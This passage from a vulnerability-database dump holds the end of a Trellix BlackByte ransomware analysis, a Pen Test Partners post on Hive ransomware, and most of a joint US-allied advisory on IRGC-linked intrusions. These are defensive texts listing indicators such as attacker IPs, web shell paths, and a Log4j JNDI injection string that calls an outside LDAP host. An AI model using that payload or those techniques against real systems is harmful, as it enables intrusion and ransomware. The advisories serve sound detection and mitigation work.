Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>) \\- Microsoft Exchange Server Elevation of Privilege Vulnerability\n * [CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>) \\- Microsoft Exchange Server Security Feature Bypass Vulnerability\n * Blocking IP Addresses known to download additional payloads in BlackByte attacks prior to encryption: **185.93.6.31** and **45.9.148.114.**\n * Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs for any unusual activity.\n * After gaining access to the service accounts some adversaries have utilized AnyDesk for lateral movement, monitoring for AnyDesk activity can be an early indicator of compromise if AnyDesk is not utilized or allowed by your organization.\n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Disable hyperlinks in received emails.\n\n[Joint Cybersecurity Advisory: Indicators of Compromise Associated with BlackByte Ransomware](<https://www.ic3.gov/Media/News/2022/220211.pdf>)\n\n## Trellix Protections and Global Detections\n\nTrellix Global Threat Intelligence is currently detecting all known analyzed indicators for this campaign.\n\n![Figure 2. Trellix Products detecting this threat globally. Source: MVISION Insights](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware2.jpg) **Figure 2. Trellix Products detecting this threat globally. Source: MVISION Insights**\n\n## Blocking BlackByte Attacks with Endpoint Security\n\nTrellix ENS is currently detecting BlackByte Indicators of Compromise (IOCs) from the standpoint of signature detections and the malware behavior associated with BlackByte Ransomware attacks. The following Exploit Prevention Rule in ENS has shown success in stopping BlackByte samples due to BlackByte being Script-based. Trellix always recommends testing in Report Only Mode before blocking to confirm no false positives are being detected by this signature rule.\n\n### Exploit Prevention Signature ID 6207: ASR : File Download attempt by Scripts\n\n![Figure 3. Exploit Prevention Rule in ePolicy Orchestrator/MVISION ePO](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware3.jpg) **Figure 3. Exploit Prevention Rule in ePolicy Orchestrator/MVISION ePO** ![Figure 4. MVISION EDR noting where Endpoint Protection \$ENS\$ could have stopped specific techniques](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware4.jpg) **Figure 4. MVISION EDR noting where Endpoint Protection (ENS) could have stopped specific techniques** ![Figure 5. Ransomware Detection Name and Observed Detections noted in MVISION Insights](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware5.jpg) **Figure 5. Ransomware Detection Name and Observed Detections noted in MVISION Insights**\n\n## BlackByte Threat Intelligence from the Trellix Advanced Threat Research Team and MVISION Insights\n\nMVISION Insights will provide the current threat intelligence and known indicators for BlackByte Ransomware. MVISION Insights will alert to detections and Process Traces that have been observed and systems that require additional attention to prevent widespread infection. MVISION Insights will also include Hunting Rules for threat hunting and further intelligence gathering of the threat activity and adversary.\n\n### MVISION Insights Campaign Names: Cybersecurity Advisory - BlackByte Ransomware and JavaScript Malware Threat Landscape\n\n![Figure 6. Campaign Details, Analyzed Indicators of Compromise, and Detections](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware6.jpg) **Figure 6. Campaign Details, Analyzed Indicators of Compromise, and Detections** ![Figure 7. Hunting Rules for BlackByte Ransomware in MVISION Insights](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware7.jpg) **Figure 7. Hunting Rules for BlackByte Ransomware in MVISION Insights**\n\n## Detecting Malicious Activity with MVISION EDR\n\nMVISION EDR is currently monitoring for the activity associated with BlackByte Ransomware and will note the MITRE techniques and any suspicious indicators related to the adversarial activity. Several of the techniques outlined in the Joint Advisory that are observed with BlackByte are noted below, monitoring for this type of activity can point to activity associated with the Tactics, techniques, and procedures (TTPs) for BlackByte.\n\n![Figure 8. Network Connection to Known Malicious IP Address Associated with BlackByte](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware8.jpg) **Figure 8. Network Connection to Known Malicious IP Address Associated with BlackByte** ![Figure 9. Enabling of remote registry for possible preparation of Lateral Movement](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware9.jpg) **Figure 9. Enabling of remote registry for possible preparation of Lateral Movement** ![Figure 10. Deletion of Shadow Copy to inhibit system recovery](https://www.trellix.com/en-us/img/newsroom/stories/analysis-protections-blackbyte-ransomware10.jpg) **Figure 10. Deletion of Shadow Copy to inhibit system recovery**\n\nTrellix offers Threat Intelligence Briefings along with Cloud Security and Data Protection workshops to provide customers with best practice recommendations on how to utilize their existing security controls to protect against adversarial and insider threats, please reach out if you would like to schedule a workshop with your organization.\n", "cvss3": {}, "published": "2022-02-28T00:00:00", "type": "trellix", "title": "Trellix Global Defenders: Analysis and Protections for BlackByte Ransomware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-02-28T00:00:00", "id": "TRELLIX:21227249912602DD6E11D3B19898A7FF", "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html", "cvss": {"score": 0.0, "vector": "NONE"}}], "pentestpartners": [{"lastseen": "2023-05-15T15:16:47", "description": "![](https://www.pentestpartners.com/content/uploads/2020/11/hivebin.png)\n\n### Why Now?\n\nHive is not a new problem. It first surfaced in 2021 but it\u2019s becoming a much bigger issue now. This is due to a growing number of affiliates and therefore attacks. 2022 has seen more widespread country and industry target interest too.\n\nRansomware growth in general is becoming a massive problem, so much so that these incidents now make up the majority of UK government [crisis management COBRA meetings](<https://therecord.media/ransomware-incidents-now-make-up-majority-of-british-governments-crisis-management-cobra-meetings/>).\n\n### What is Hive Ransomware?\n\nHive is ransomware-as-a-service (RaaS). It\u2019s maintained by dedicated developers with affiliates using it to conduct high impact ransomware attacks with far reaching consequences.\n\nHive is organised in such a way that they have customer service, help desk, and sales departments. Victims are even directed to log in to a portal to make payment, using credentials the attackers drop in one of the files they leave behind after an attack.\n\n### Who is this Threat Group?\n\nThe Hive gang is a Ransomware as a Service (RaaS) provider first identified in June 2021. Although relatively new, their aggressive tactics and ever evolving malware variants have made them one of the most successful RaaS groups of its kind.\n\nIt's claimed some big victims, for example [Tata Power just one month ago](<https://www.bleepingcomputer.com/news/security/hive-claims-ransomware-attack-on-tata-power-begins-leaking-data/>).\n\n### How are they targeting victims?\n\nPhishing emails are sent with malicious payloads (e.g. Cobalt Strike) to get VPN credentials, and then scan for vulnerable remote desktop servers for lateral movement.\n\n### What do they do once they're inside?\n\nIt's all about data exfiltration, with encryption of files on the network.\n\n### Why should I act now?\n\nCybersecurity experts largely believe Hive is allied with Conti. The Hive ransomware gang is just over a year old but has already allied with more traditional ransomware groups, promoting itself as one of the top three most active ransomware groups in July 2022.\n\nThe gang is more active and aggressive than ever, with the affiliates attacking between three to five organisations every day since the operation became known in late June 2021.\n\nOn 17th November 2022 the hacker group claimed responsibility of taking down a USA based health care provider. Hive appears to have demanded a ransom of $900,000. In exchange, the organisation would agree to delete all the data.\n\nTechRepublic amongst other outlets on the on 25th October 2022 named Hive Ransomware within the current top four most dangerous and destructive ransomware groups of 2022. Attacks from this gang alone jumped by 188% from February to March 2022, according to NCC\u2019s March Cyber Threat Pulse report. This ransomware variant was also one of the top four most observed in Q3 of 2022 it is expected to only get more prominent as more affiliates use RaaS with new vulnerabilities such as zero-day attacks to aid in initial intrusion.\n\nIn Q3 2022 Hive ransomware hit 15 countries, with the US and UK being the top targets, respectively.\n\nThe ransomware is super-fast, capable of encrypting 4GB of data per minute. Hive hires penetration testers, access brokers, and other threat actors who continue to develop the threat, techniques, and tactics.\n\nIn May 2022 the gang targeted Costa Rica when the country was reeling from a cyberattack by Conti. Only weeks after the Costa Rican president declared an emergency following that first ransomware attack Hive joined in and crippled the country\u2019s public health service, the Costa Rican Social Security Fund.\n\n### Has it really got more serious? Why should I be concerned?\n\nHive ransomware was last upgraded in July 2022, according to Microsoft Threat Intelligence Centre (MSTIC). Researchers noted that Hive migrated its malware code from GoLang to Rust last month. Rust offers memory, data type, thread safety, deep control over low-level resources, a user-friendly syntax, access to a variety of cryptographic libraries, and is relatively more difficult to reverse-engineer.\n\nThe July update also includes string encryption and more complicated encryption mechanisms that leverage Elliptic Curve Diffie-Hellmann (ECDH) with Curve25519 and XChaCha20-Poly1305 (authenticated encryption with ChaCha20 symmetric cipher). Instead of embedding an encrypted key in each file that it encrypts, it generates two sets of keys in memory, uses them to encrypt files, and then encrypts and writes the sets to the root of the drive it encrypts, both with .key extension.\n\n### I run Linux so I'm OK, right?\n\nHive introduced Linux and FreeBSD encryption capabilities in October 2021. At the time ESET, who discovered these capabilities, clarified that the Linux variant of the ransomware was functionally inadequate compared to its Windows variant. 'Functionally inadequate' doesn't mean that Linux is safe though.\n\n### What have Hives core target industries looked like?\n\nThe industrials sector is still the most common target however hive have broadened their target victims to include energy, resources, agriculture, academic, educational, science institutions, car dealerships, financial, media, electronic distributers and healthcare. In November 2022 Q3, the Hive ransomware hit 15 countries, with the U.S. and the U.K. as the top two targets respectively.\n\n### What can be done to mitigate?\n\nBetter focus on preventing social engineering attacks, adopt defines-in-depth combination of policies, technical defences, and education for end users\u201d Human errors is currently responsible for 82% of data breaches according to Verizon\u2019s 2022 Data Breach Investigations Report.\n\nPatch patch patch! Monitor the CISA\u2019s Known Exploited Vulnerability Catalogue to identify weaknesses.\n\nHive is famously seeking targets using vulnerable Exchange Servers, with some of the critical vulnerabilities and inclusive patch information detailed below:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>) - Microsoft Exchange Server Security Feature Bypass Vulnerability\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>) - Microsoft Exchange Server Remote Code Execution Vulnerability\n * [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>) - Microsoft Exchange Server Privilege Escalation Vulnerability\n\nImplement, develop phishing-resistant multi-factor authentication (MFA) technique.\n\nWhere SIEM or ELK Stack solutions are in force, develop the decoders and rules.\n\n### Hive is in my organisation, what happens now and what should I do?\n\nI strongly encourage organisations to start action now to mitigate and reduce the risk and impact of ransomware incidents. Below are areas to focus on when looking at your SIEM, EDR and monitoring solutions.\n\nOnce in your estate Hive ransomware will immediately start working on evasion detection, by executing processes. This is how you deal with it.\n\n**Hive behaviour:** Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption. \n**Advice:** NGAVs will typically pick up on this behaviour these days, however offsite backups should be adopted.\n\n**Hive behaviour:** Remove all existing shadow copies and stop the volume shadow copy services via vssadmin on command line or via PowerShell. \n**Advice:** NGAVs will typically pick up on this behaviour these days, however offsite backups should be adopted.\n\n**Hive behaviour:** Delete Windows event logs, specifically the System, Security and Application logs. \n**Advice:** Make sure you are forwarding logs to an external source that cannot be moved to laterally by the threat actors, ensure logs are also replicated elsewhere or offline storage/backup is utilised which can later be restored.\n\nAlso, implement data backups and encrypt data at rest, also practice your recovery procedures with regular drills.\n\nQuickly isolate any infected devices to prevent the ransomware from spreading further throughout your network. To do this, IT administrators must have up-to-date knowledge of all assets in the organisation and the tools to easily manage them, depending on how far the attack is in progress it may be prudent to shut down affected machines immediately, if backups are not available a provider may be able to perform data carving on offline-disks however this is a long-winded process so concentrate on you most critical data assets.\n\nIf your data has been stolen, take steps to protect your company and notify those who might be affected. It is recommended to report the attack right away to the authorities who may have knowledge of other attacks and can aid in an investigation by sharing knowledge.\n\nContact us if you need help.\n\nThe post [Hive Ransomware is on the rise. How should you deal with it?](<https://www.pentestpartners.com/security-blog/hive-ransomware-is-on-the-rise-how-should-you-deal-with-it/>) first appeared on [Pen Test Partners](<https://www.pentestpartners.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-18T06:44:42", "type": "pentestpartners", "title": "Hive Ransomware is on the rise. How should you deal with it?", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-11-18T06:44:42", "id": "PENTESTPARTNERS:77A7D085A837F9542DA633DA83F4A446", "href": "https://www.pentestpartners.com/security-blog/hive-ransomware-is-on-the-rise-how-should-you-deal-with-it/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ics": [{"lastseen": "2023-09-23T19:56:18", "description": "### Summary\n\nActions to take today to protect against ransom operations:\n\n\u2022 Keep systems and software updated and prioritize remediating [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n\u2022 Enforce MFA. \n\u2022 Make offline backups of your data.\n\nThis joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) - Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom\u2019s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government\u2019s Islamic Revolutionary Guard Corps (IRGC). **Note**: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as \"the authoring agencies.\"\n\nThis advisory updates joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>), which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.\n\nSince the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report [APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity](<https://www.ic3.gov/Media/News/2021/210527.pdf>) from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations.\n\nThe IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.\n\nThis advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors.\n\nFor a downloadable copy of IOCs, see [AA22-257A.stix](<https://www.us-cert.gov/sites/default/files/AA22-257A.stix.xml>).\n\nFor more information on Iranian state-sponsored malicious cyber activity, see CISA\u2019s [Iran Cyber Threat Overview and Advisories](<https://www.us-cert.cisa.gov/iran>) webpage and FBI\u2019s [Iran Threat](<https://www.fbi.gov/investigate/counterintelligence/the-iran-threat>) webpage.\n\nDownload the PDF version of this report: pdf, 836 kb\n\n### Technical Details\n\n#### Threat Actor Activity\n\nAs reported in joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>), the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>), [CVE-2020-12812](<https://vulners.com/cve/CVE-2020-12812>), [CVE-2019-5591](<https://vulners.com/cve/CVE-2019-5591>), and [CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>) (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities [CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>) and [CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>). The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.\n\nSince the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities [CVE-2021-44228](<https://vulners.com/cve/CVE-2021-44228>) (\u201cLog4Shell\u201d), [CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>), and [CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) for initial access.\n\nThe IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or \u201cdouble extortion\u201d ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.\n\nIRGC-affiliated actor activity observed by the authoring agencies includes:\n\n * In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom.\n * In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company\u2019s operations for an extended period.\n * In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity.\n * In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company's network.\n\n#### MITRE ATT&CK\u00ae Tactics and Techniques\n\nNote: This advisory uses the MITRE [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v11/techniques/enterprise/>) framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.\n\nThe authoring agencies assess the following tactics and techniques are associated with this activity.\n\n#### Resource Development [[TA0042](<https://attack.mitre.org/versions/v11/tactics/TA0042>)]\n\nThe IRGC-affiliated actors have used the following malicious and legitimate tools [[T1588.001](<https://attack.mitre.org/versions/v11/techniques/T1588/001>), [T1588.002](<https://attack.mitre.org/versions/v11/techniques/T1588/002>)] for a variety of tactics across the enterprise spectrum:\n\n * Fast Reverse Proxy (FRP) for command and control (C2)\n * Plink for C2\n * Remote Desktop Protocol (RDP) for lateral movement\n * BitLocker for data encryption\n * SoftPerfect Network Scanner for system network configuration discovery\n\nNote: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n#### Initial Access [[TA0001](<https://attack.mitre.org/versions/v11/tactics/TA0001/>)]\n\nAs stated in the Technical Details section previously reported in joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>), the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [[T1190](<https://attack.mitre.org/versions/v11/techniques/T1190/>)].\n\nThe following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:\n\n * Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories: \n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\ecp\\auth\\\n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\\n * C:\\inetpub\\wwwroot\\aspnet_client\\\n\nThe following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:\n\n * ${jndi:ldap//148.251.71.182:1389/RCE} (user agent string)\n * RCE.class\n\n#### Execution [[TA0002](<https://attack.mitre.org/versions/v11/tactics/TA0002>)]\n\nThe IRGC-affiliated actors may have made modifications to the Task Scheduler [[T1053.005](<https://attack.mitre.org/versions/v11/techniques/T1053/005>)]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:\n\n * Wininet\n * Wininet\u2019\n * WinLogon\n * CacheTask\n\nNote: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n#### Persistence [[TA0003](<https://attack.mitre.org/versions/v11/tactics/TA0003>)]\n\nThe IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [[T1136.001](<https://attack.mitre.org/versions/v11/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v11/techniques/T1136/002>)]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:\n\n * Domain Admin\n * it_admin\n * DefaultAccount\n * Default01\n\nNote: For additional account usernames associated with this activity, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n#### Exfiltration [[TA0010](<https://attack.mitre.org/versions/v11/tactics/TA0010/>)]\n\nThe authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:\n\n * C:\\Windows\\Temp\\sassl[.]pmd\n * C:\\Windows\\Temp\\ssasl[.]zip\n * C:\\Users\\DefaultAccount\\AppData\\Local\\Temp\\lsass[.]dmp\n * C:\\Users\\DefaultAccount\\AppData\\Local\\Temp\\lsass[.]zip\n\n#### Impact [[TA0040](<https://attack.mitre.org/versions/v11/tactics/TA0040>)]\n\nThe IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [[T1486](<https://attack.mitre.org/versions/v10/techniques/T1486>)] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity\u2019s networked printer(s). The notes included the following contact information:\n\n * @BuySafety (Telegram)\n * @WeRBits (Telegram)\n * +93794415076 (WhatsApp)\n * werbits@onionmail[.]org\n * buysafety@onionmail[.]org\n * yacashcash@rambler[.]ru\n\nNote: For additional contact information included in ransom notes, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n### DETECTION\n\nThe authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks.\n\n * Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. \n * **Note**: Refer to Appendix A for IOCs.\n * Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105.\n * Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021- 34523, and CVE-2021-31207.\n * As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021- 31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers.\n * Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise.\n * Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.\n * Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page.\n * Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access.\n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks\u2014including each step these tasks perform\u2014for unrecognized \u201cactions.\u201d\n * Review antivirus logs for indications they were unexpectedly turned off.\n * Look for WinRAR and FileZilla in unexpected locations.\n * Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process.\n\nNote: For additional approaches on uncovering malicious cyber activity, see joint advisory [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>), authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.\n\n### Mitigations\n\nThe authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.\n\n#### Implement and Enforce Backup and Restoration Policies and Procedures\n\n * Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization\u2019s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses. \n * Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization\u2019s data infrastructure.\n * Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup.\n * Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident.\n * Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).\n\n#### Patch and Update Systems\n\n * U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organizations: Implement free [CISA Cyber Hygiene Services Vulnerability Scanning](<https://www.cisa.gov/cyber-hygiene-services>) to enable continuous scans of public, static IPs for accessible services and vulnerabilities.\n * Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process.\n * Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021- 34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021- 31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021- 31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470.\n\n#### Evaluate and Update Blocklists and Allowlists\n\n * Regularly evaluate and update blocklists and allowlists.\n * If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization\u2019s execution blocklist. Prevent any attempts to install or run this program and its associated files.\n\n#### Implement Network Segmentation\n\n * Implement network segmentation to restrict a malicious threat actor\u2019s lateral movement.\n\n#### Secure User Accounts\n\n * Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties.\n * Require administrator credentials to install software.\n\n#### Implement Multifactor Authentication\n\n * Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.\n\n#### Use Strong Passwords\n\n * Require all accounts with password logins to have strong, unique passwords. See CISA Tip [Choosing and Protecting Passwords](<https://www.cisa.gov/tips/st04-002>) and National Institute of Standards and Technology (NIST) [Special Publication 800-63B: Digital Identity Guidelines](<https://csrc.nist.gov/publications/detail/sp/800-63b/final>) for more information.\n\n#### Secure and Monitor RDP and other Potentially Risky Services\n\n * If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.\n * Disable unused remote access/RDP ports.\n * Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts 